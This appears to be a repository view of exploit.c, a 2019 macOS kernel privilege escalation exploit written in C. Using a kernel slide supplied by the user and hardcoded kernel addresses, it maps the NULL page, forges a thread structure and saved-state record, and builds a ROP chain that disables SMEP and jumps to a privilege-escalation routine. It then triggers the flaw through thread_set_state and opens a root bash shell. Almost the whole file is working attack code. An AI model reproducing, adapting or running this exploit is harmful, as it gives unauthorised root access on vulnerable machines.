153 lines
4.6 KiB
C
Raw Normal View History

2019-09-20 23:26:44 +08:00
//
// exploit.c
//
// Created by Ilias Morad.
// Copyright © 2019 Ilias Morad. All rights reserved.
//
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "definitions.h"
#include "gadgets.h"
#define DEBUG 1
// Used in kernel.s
extern uint64_t current_proc;
extern uint64_t proc_ucred;
extern uint64_t posix_cred_get;
extern uint64_t return_to_user;
extern void escalatePrivs(void);
// For debugging
void hexdump(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
void fail() {
puts("[-] Stopping exploit");
exit(-1);
}
int main(int argc, const char *argv[]) {
kern_return_t err = -1;
uint64_t kSlide = -1;
// after we return to userland our process state is super messed up
// in order to be able to get a "stable" environment
// our userland shellcode will just exec() itself again as root
if(getuid() == 0) {
puts("[+] Userland shellcode says hi!");
printf("[*] Patched uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());
system("/bin/bash");
exit(0);
}
if(argc < 2) {
puts("[-] You need to provide the kernel slide.");
fail();
} else {
kSlide = strtol(argv[1], NULL, 0x10);
printf("[*] Kernel slide: 0x%llx\n", kSlide);
}
current_proc = 0xffffff8000968360 + kSlide;
proc_ucred = 0xffffff8000820d30 + kSlide;
posix_cred_get = 0xffffff80007ddbe0 + kSlide;
return_to_user = 0xffffff8000229680 + kSlide;
printf("[*] uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());
vm_address_t pageZero = 0x00;
err = vm_allocate(mach_task_self(), &pageZero, 0x1000, 0);
if(err != 0) {
printf("[-] vm_allocate(pageZero) returned %d\n", err);
fail();
}
memset(0,0,0x1000);
puts("[*] Mapped NULL Page to catch GS accesses");
vm_address_t fakeThread = 0;
err = vm_allocate(mach_task_self(), &fakeThread, 0x1000, VM_FLAGS_ANYWHERE);
if(err != 0) {
printf("[-] vm_allocate(fakeThread) returned %d\n", err);
fail();
}
printf("[*] Fake Thread is at: 0x%x\n", fakeThread);
uint64_t *fakeStack = (uint64_t *)0x5d000000;
vm_address_t fakeStackk = 0x5d000000;
err = vm_allocate(mach_task_self(), &fakeStackk, 0x1000, 0);
if(err != 0) {
printf("[-] vm_allocate(fakeStack) returned %d\n", err);
fail();
}
printf("[*] Fake Stack is at: 0x%x\n", (uint32_t)fakeStack);
x86_saved_state32_t state;
memset(&state, 0xFF, sizeof(x86_saved_state32_t));
state.gs = 0x23;
*(int64_t*)(pageZero+0x8) = fakeThread; // gs:0x8 = pointer to thread structure
*(int64_t*)(fakeThread+0x350) = ROP_PIVOT_STACK + kSlide; // thread->recover; This will be called the next time the
// kernel executes iretq
*(int64_t*)(pageZero+0x168) = 0x400+0x28; // stackpointer + 0x28 (not used)
*(int64_t*)(pageZero+0x400) = 0x4242424242424242; // [rsp] (not used)
puts("[+] SAVED_STATE32 setup done!");
// Disable SMEP
int sp = 0;
fakeStack[sp] = kSlide + ROP_POP_RAX ; ++sp;
fakeStack[sp] = CPU_DISABLE_SMEP ; ++sp;
fakeStack[sp] = kSlide + ROP_MOV_CR4_RAX ; ++sp;
// SMEP is disabled and we can jump to our userland code part
fakeStack[sp] = (uint64_t)escalatePrivs ; ++sp;
if(DEBUG) {
char c;
printf("[DEBUG] escalatePrivs: %p\n[DEBUG] SMEP disable ROP-Chain:\n", &escalatePrivs);
hexdump((const void *)fakeStackk, 0x20);
puts("[DEBUG] Waiting...");
// scanf(" %c", &c);
}
puts("[+] Here we go...");
thread_set_state(mach_thread_self(), x86_SAVED_STATE32, (thread_state_t) &state, x86_SAVED_STATE32_COUNT);
while(1) {}
return 0;
}